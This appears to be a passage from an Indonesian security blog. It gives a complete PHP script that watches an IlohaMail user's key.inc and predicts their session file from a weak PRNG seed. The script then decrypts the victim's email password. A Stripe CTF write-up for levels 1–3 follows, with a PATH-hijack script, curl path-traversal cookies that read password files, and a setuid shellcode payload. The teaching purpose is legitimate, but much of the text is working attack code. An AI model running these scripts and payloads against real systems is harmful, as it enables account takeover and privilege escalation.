Dari response header ‘Last-Modified’ kita mendapat informasi bahwa user rizki@ilmuhacking.com login pada 27 Juli 2012, 01:46:04 GMT, atau kalau diubah dalam bentuk unix time menjadi 1343353564. Jadi kini kita sudah bisa menjawab persoalan unix time ketika user target login dari header Last-Modified.

Random Number Session ID 

Tinggal satu persoalan lagi yang harus kita pecahkan, yaitu dari mana kita tahu 5 digit random number yang menjadi bagian dari session id ?

Lagi-lagi kita berhadapan dengan misteri random number. Ingat untuk bisa memprediksi random number, yang kita butuhkan adalah seed yang dipakai PRNGnya. Adakah kebocoran seed disini?

Ternyata ada kebocoran seed dari encryption key yang kita dapatkan dari file key.inc. Mari kita lihat bagaimana file key.inc dibuat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){
 
        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session;	
        }
 
        // generate random session key
        $key=GenerateMessage(strlen($password)+5);
 
        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->');
            fclose($fp);
        }
 
        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

Pada baris ke-6 di atas terlihat bahwa session ID terdiri dari unix time (yang sudah kita dapatkan) dan hasil dari GenerateRandomString(). Pada baris ke-11 terlihat bahwa encryption key yang disimpan dalam file key.inc digenerate oleh fungsi GenerateMessage().

Mari kita lihat definisi GenerateRandomString() dan GenerateMessage().

function GenerateRandomString($messLen, $seed){
	srand ((double) microtime() * 1000000);
	if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
	$seedLen=strlen($seed);
	if ($messLen==0) $messLen = rand(10, 20);
	for ($i=0;$i<$messLen;$i++){
		$point=rand(0, $seedLen-1);
		$message.=$seed[$point];
	}
	return $message;
}
 
function GenerateMessage($messLen){
	$seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
	return GenerateRandomString($messLen, $seed);
}

Ternyata GenerateMessage() yang dipakai untuk men-generate encryption key dalam key.inc juga memakai fungsi GenerateRandomString(), jadi kita hanya fokuskan pembahasan pada GenerateRandomString() saja.

Seperti pada kasus sebelumnya, PRNG dalam GenerateRandomString() diberi seed dengan microtime() dikali 1 juta, artinya hanya ada 1 juta kemungkinan nilai seed. Karena hanya ada 1 juta kemungkinan nilai seed, maka random string yang di-generate juga hanya ada 1 juta kemungkinan dan ada hubungan 1 ke 1 antara seed dan random string yang di-generate. Ini artinya dari seed kita bisa dapatkan random string dan sebaliknya dari random string bisa kita ketahui berapa seed yang dipakai PRNGnya.

Adanya hubungan pemetaan 1 ke 1 antara seed dan random string yang digenerate artinya kita bisa mengetahui seed yang dipakai untuk men-generate encryption key dalam key.inc, dari sinilah kebocoran seed terjadi.

Agar proses pencarian seed lebih cepat mari kita buat look up table yang memetakan antara seed (1 juta seed) dan random string yang digenerate. Dengan adanya tabel ini kita bisa mencari dalam tabel tanpa harus menghitung lagi. Berikut adalah script untuk generate 1 juta seed dan random stringnya.

Setelah selesai proses generate, kita kini memiliki tabel berisi 1 juta seed dan random string yang digenerate dengan seed tersebut. Mari kita coba dengan tabel ini mencari seed dari encryption key ‘llikn1JzvLOnkYJ0′ yang kita dapatkan dari key.inc.

Seed Encryption Key vs Seed Session ID

Dari lookup table, kita dapatkan seed yang dipakai PRNG untuk men-generate untuk encryption key tersebut adalah 233189. Tapi jangan lupa bahwa yang kita cari bukan seed untuk encryption key, yang kita cari adalah seed untuk generate 5 digit session ID.

Lalu apakah seed yang dipakai untuk men-generate encryption key sama dengan seed yang dipakai untuk men-generate  5 digit session id ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){
 
        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session;	
        }
 
        // generate random session key
        $key=GenerateMessage(strlen($password)+5);
 
        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->');
            fclose($fp);
        }
 
        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

Kalau kita perhatikan urutannya dari source code di atas, yang pertama di-generate adalah 5 digit session id (di baris 6), baru kemudian generate encryption key (di baris 11). Ingat bahwa keduanya memakai fungsi yang sama, GenerateRandomString() yang didalamnya dilakukan seeding PRNG dengan microsecond, sehingga seed yang dipakai untuk generate encryption key berbeda dengan seed yang dipakai untuk generate 5 digit session ID.

Karena seed adalah microsecond, artinya perbedaan seed antara keduanya adalah perbedaan waktu eksekusi dalam microsecond. Bisa disimpulkan bahwa seed untuk generate 5 digit session ID adalah beberapa microsecond sebelum seed untuk generate encryption key, atau seed session ID < seed encryption key.

Tergantung dari mesin yang dipakai, perbedaan waktu antara keduanya umumnya tidak banyak, mungkin paling banyak hanya mencoba 100 kali. Agar lebih cepat lagi, kalau kita yakin bahwa perbedaan waktunya > 30 microsecond, kita bisa mulai brute force mundur mulai dari seed encryption key – 30, tidak mulai dari seed encryption key.

Gambar di bawah ini menunjukkan script melakukan brute force mundur mulai dari seed encryption key-30, dan menemukan seednya hanya dalam 15 kali percobaan.

Script di atas berhasil mendapatkan session file yaitu 1343353564-90856.inc dengan sangat cepat hanya dengan beberapa percobaan saja. Hal ini bisa dilakukan karena kita sudah tahu bahwa seed untuk generate session ID adalah beberapa microsecond sebelum seed untuk generate encryption key.

File session ini hanya akan ada selama user tersebut masih belum logout, begitu user tersebut logout, file session akan dihapus, walaupun file key.inc akan tetap ada. Jadi agar serangan berhasil kita harus secepat mungkin mengambil session file begitu korban login, sebelum dia logout.

Dari mana kita tahu bahwa korban yang kita target baru saja login? Kita bisa tahu “last login” seorang user dari header Last-Modified yang kita terima ketika request file key.inc user tersebut. Bila kita sudah tahu calon korban yang kita target, kita bisa membuat script yang setiap menit memonitor file key.inc user tersebut, begitu user tersebut baru saja login (dari Last-Modified header), secepatnya langsung kita ambil session filenya dan mendekrip passwordnya.

Gambar di atas memperlihatkan sebuah script yang memonitor seorang target korban, dari jamnya terlihat bahwa setelah script berjalan 1 jam, baru korban login.

  1. Setiap menit script melihat Last-Modified header dari key.inc
  2. Begitu diketahui key.inc baru dimodifikasi 1 menit yang lalu, artinya target baru login
  3. Script mencari seed encryption key dari lookup table
  4. Script melakukan brute force mundur untuk mencari seed 5 digit session ID
  5. Script membaca session file
  6. Script mendekripsi password korban

Berikut ini adalah source code untuk berburu password email target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php
 
mysql_connect("127.0.0.1","root","root");
mysql_select_db("iloha");
 
print @date("Y-m-d H:i:s").">> Menunggu target login...\n";
while (true) {
	$user = 'rizki@ilmuhacking.com';
	$mxhost = 'ilmuhacking.com';
 
	$url = "http://localhost:8888/ilohamail0814rc3/data/users/${user}.${mxhost}/key.inc";
 
	$curl = curl_init();
	curl_setopt($curl, CURLOPT_URL, $url); 
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_FILETIME, true);
	curl_setopt($curl, CURLOPT_TIMEOUT, 15);
	$result = curl_exec($curl);
	$timestamp = intval(curl_getinfo($curl, CURLINFO_FILETIME));
	$delta=time()-$timestamp;
	if ( $delta < 60 ) { // baru login di bawah 1 menit yang lalu	
		print @date("Y-m-d H:i:s").">> Target baru login $delta detik yang lalu\n";
		$count = preg_match_all('#"(.*)"#',$result,$matches);
		if ($count == 1) {
			$key = $matches[1][0];
 
			$lenkey = strlen($key);
			$sql = "select `seed` from `keyseed` where `key` LIKE '$key%'";
			$res = mysql_query($sql);
			$arr = mysql_fetch_array($res);
			$seed = intval($arr[0]);
 
			print @date("Y-m-d H:i:s").">> Encryption key --> $key\n";
			print @date("Y-m-d H:i:s").">> Timestamp: $timestamp\n";
			print @date("Y-m-d H:i:s").">> Seed that generated '$key': $seed\n";
 
			$mulai = $seed-40;
			print @date("Y-m-d H:i:s").">> Brute forcing random seed around $mulai ...\n";
			$end = $seed - 700;
			for ($i = $mulai; $i > $end; $i--) {
				$guess = GenerateRandomString(5,"0123456789",$i);
				$filename = sprintf("%d-%05d.inc",$timestamp,$guess);
				$url = sprintf("http://localhost:8888/ilohamail0814rc3/data/sessions/$filename",$waktu,$i);
 
				curl_setopt($curl, CURLOPT_URL, $url); 								
				curl_setopt($curl, CURLOPT_TIMEOUT, 15);
				curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($curl, CURLOPT_FILETIME, false);
				$sess = curl_exec($curl);		
				if ($sess === false) {
					continue;
				}
				if (!empty($sess) && strpos($sess,"GetPassword")>-1) {
					$sess = trim($sess);
					print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> OK\n$url\n";			
 
					$count = preg_match_all('#"(.*)"#',$sess,$matches);
					if ($count == 4) {
						$password = $matches[1][0];
						$host = $matches[1][1];
						$username = $matches[1][2];
						$userpath = $matches[1][3];
 
						$decoded_user = DecodeMessage($key,$username);
						$decoded_pass = DecodeMessage($key,$password);
 
						print @date("Y-m-d H:i:s").">> Decrypted >>>> $decoded_pass \n";
					}
					die();
				} else {
					print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> Not Found\n";
				}
			}
		}
	}
	sleep(30);
}
 
 
function GenerateRandomString($messLen, $seed, $seedkey){
        srand ((double)$seedkey);
        $message = "";
        if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
        $seedLen=strlen($seed);
        if ($messLen==0) $messLen = rand(10, 20);
        for ($i=0;$i<$messLen;$i++){
                $point=rand(0, $seedLen-1);
                $message.=$seed[$point];
        }
        return $message;
}
 
function DecodeMessage($pass, $message){
	$message=base64_decode($message);
	$messLen=strlen($message);
	$passLen=strlen($pass);
 
	$decMessage="";
	for ($i=0;$i<$messLen;$i++){
		$j=$i % $passLen;
		$num=ord($message[$i]);
		$decNum=(($num + 128) - ord($pass[$j])) % 128;
		$decMessage.=chr($decNum);
	}
 
	return $decMessage;
}
 
?>
 

Stripe CTF Level 1-5

On February 28, 2012, in Exploit, by Rizki Wicaksono

Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.

Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.


Level 01

Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:

Welcome to the Stripe CTF challenge!
 
Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].
 
In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.
 
We've created a scratch directory for you in /tmp.
 
There are a total of 6 levels in this CTF; if you're stuck, feel free
to email ctf@stripe.com for guidance.

Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.

Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.

-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01

Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$

Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?

Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.

#include 
#include 
 
int main(int argc, char **argv)
{
  printf("Current time: ");
  fflush(stdout);
  system("date");
  return 0;
}

Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.

Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh programmernya adalah /bin/date yang menampilkan current time. Tapi dari mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari environment variable PATH.

Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan untuk membaca file, bukan /bin/date yang menampilkan current time seperti yang diharapkan programmernya.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p
> cat /home/level02/.password' > date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date
-rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: kxlVXUvzv

Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi /levels/level01 sekarang tidak lagi menampilkan current time, tapi menampilkan isi file /home/level02/.password. Hal ini bisa terjadi karena yang dieksekusi fungsi system() bukan /bin/date melainkan /tmp/tmp.jaJ1JT4TIp/date.

Level 02

Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe. Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.

Congratulations on making it to level 2!
 
The password for the next level is in /home/level03/.password. This
one is a web-based vulnerability, so go ahead and point your browser
to http://ctf.stri.pe/level02.php. You'll need to provide the password
for level02 using HTTP digest authentication.
 
You can find the source code for level02.php in /var/www/.

Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di /home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya adalah web based yang dibuat dengan PHP. PHP script ini dijalankan sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk membaca file /home/level03/.password.

Mari kita lihat source code aplikasinya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
    function random_string($max = 20){
        $chars = "abcdefghijklmnopqrstuvwxwz0123456789";
        for($i = 0; $i < $max; $i++){
            $rand_key = mt_rand(0, strlen($chars));
            $string  .= substr($chars, $rand_key, 1);
        }
        return str_shuffle($string);
    }
 
    $out = '';
    if (!isset($_COOKIE['user_details'])) {
      $out = "<p>Looks like a first time user. Hello, there!</p>";
      $filename = random_string(16) . ".txt";
      $f = fopen('/tmp/level02/' . $filename, 'w');
 
      $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT'];
      fwrite($f, $str);
      fclose($f);
      setcookie('user_details', $filename);
    }
    else {
      $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
    }
 
?>
 
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p><?php echo $out ?></p>
      <?php
        if (isset($_POST['name']) && isset($_POST['age'])) {
          echo "You're ".$_POST['name'].", and your age is ".$_POST['age'];
        }
        else {
      ?>
      <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
      <?php   } ?>
    </div>
  </body>
</html>

Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita harapkan.

Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori /tmp/level02/, padahal file yang kita inginkan berada di direktori /home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di /tmp/level02/ menjadi membaca file di /home/level03/ ?

Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan string “/tmp/level02/” sehingga membentuk path lengkap file yang akan dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa saja yang ingin dibaca melalui COOKIE.

Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca “/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi “../../etc/passwd” ? Nama file yang akan dibaca menjadi “/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.

$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:105:109::/var/lib/landscape:/bin/false
ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash
postfix:x:106:113::/var/spool/postfix:/bin/false
level01:x:1001:1002::/home/level01:/bin/bash
level02:x:1002:1003::/home/level02:/bin/bash
level03:x:1003:1004::/home/level03:/bin/bash
level04:x:1004:1005::/home/level04:/bin/bash
level05:x:1005:1006::/home/level05:/bin/bash
level06:x:1006:1007::/home/level06:/bin/bash
the-flag:x:1007:1008::/home/the-flag:/bin/bash
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>

Sekarang jelas bagaimana cara untuk membaca file lain di luar /tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file /home/level03/.password dengan COOKIE user_details berisi “../../home/level03/.password”.

$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html>
  <head>
    <title>Level02</title>
  </head>
  <body>
    <h1>Welcome to the challenge!</h1>
    <div class="main">
      <p>Or0m4UX07b
</p>
            <form action="#" method="post">
        Name: <input name="name" type="text" length="40" /><br />
        Age: <input name="age" type="text" length="2" /><br /><br />
        <input type="submit" value="Submit!" />
      </form>
          </div>
  </body>
</html>

Level 03

Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file /home/level04/.password dengan cara menyalahgunakan aplikasi /levels/level03.

Congratulations on making it to level 3!
 
The password for the next level is in /home/level04/.password. As
before, you may find /levels/level03 and /levels/level03.c useful.
While the supplied binary mostly just does mundane tasks, we trust
you'll find a way of making it do something much more interesting.

Sebelumnya mari kita coba dulu aplikasi /levels/level03.

level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test
Uppercased string: TEST
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test
Lowercased string: test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test
Capitalized string: Test
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test
Length of string 'test': 4
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test
Invalid index.
Possible indices:
[0] to_upper    [1] to_lower
[2] capitalize  [3] length

Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita inginkan adalah aplikasi ini membaca file /home/level04/.password. Bagaimanakah caranya?

Berikut ini adalah source code aplikasinya.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
 
#define NUM_FNS 4
 
typedef int (*fn_ptr)(const char *);
 
int to_upper(const char *str)
{
  printf("Uppercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(toupper(str[i]));
  printf("\n");
  return 0;
}
 
int to_lower(const char *str)
{
  printf("Lowercased string: ");
  int i = 0;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n");
  return 0;
}
 
int capitalize(const char *str)
{
  printf("Capitalized string: ");
  putchar(toupper(str[0]));
  int i = 1;
  for (i; str[i]; i++)
    putchar(tolower(str[i]));
  printf("\n", str);
  return 0;
}
 
int length(const char *str)
{
  int len = 0;
  for (len; str[len]; len++) {}
 
  printf("Length of string '%s': %d\n", str, len);
  return 0;
}
 
int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}
 
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}
 
int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
 
  if (argc != 3) {
    printf("Usage: ./level03 INDEX STRING\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  // Parse supplied index
  index = atoi(argv[1]);
 
  if (index >= NUM_FNS) {
    printf("Invalid index.\n");
    printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
    printf("[2] capitalize\t[3] length\n");
    exit(-1);
  }
 
  return truncate_and_call(fns, index, argv[2]);
}

Unsafe Function Pointer Usage

Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian function pointer. Pemakaian function pointer bila tidak hati-hati bisa dieksploitasi untuk mengeksekusi function/code lain yang tidak diharapkan programmernya.

Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui kumpulan function pointer yang disimpan dalam array bernama fns (lihat baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di index [0], alamat fungsi to_lower() di index [1], alamat fungsi capitalize() di index [2] dan alamat fungsi length() di index[3] terurut sesuai index dalam array sehingga bila user memasukkan index 0, maka fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang dipanggil adalah fungsi to_lower() dan seterusnya.

Array index out of bounds

Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4, maka program akan menampilkan pesan errror kemudian exit(). Validasi ini mencegah pengaksesan array fns dengan index >= 4 karena batas atas index array fns adalah 3.

Namun validasi ini tidak sempurna karena hanya membatasi index di batas atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila index yang dimasukkan < 0 (index negatif).

Negative index array

Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai offset.

Karena fns adalah array of function pointer, setiap kotak index di gambar di atas mengandung alamat memori code yang nanti akan dieksekusi bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi alamat to_lower(), index[2] berisi alamat capitalize() dan index[3] berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi alamat fungsi apa?

index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi, jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di memori.

Cara 1

Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat fns merujuk pada alamat shellcode tersebut berada dengan index array negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya akan saya injeksi sebagai input string (argv[2]).

Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena adanya ASLR (address space layout randomization), maka lokasi shellcode sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari strncpy() adalah address of buf, sehingga dijamin register EAX akan berisi alamat buf setelah strncpy() selesai.

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi memori yang mengandung instruksi CALL EAX (karena EAX = address of buf, maka CALL EAX = execute shellcode in buf).

$ objdump -d /levels/level03|grep call|grep eax
 8048598:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 80485df:       ff d0                   call   *%eax
 804892b:       ff d0                   call   *%eax

Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.

Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu bagaimana payload yang akan kita injeksi. Payload ini berisi shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.

Jadi payload yang akan diinjeksi adalah:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08

35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?

Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.

Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.

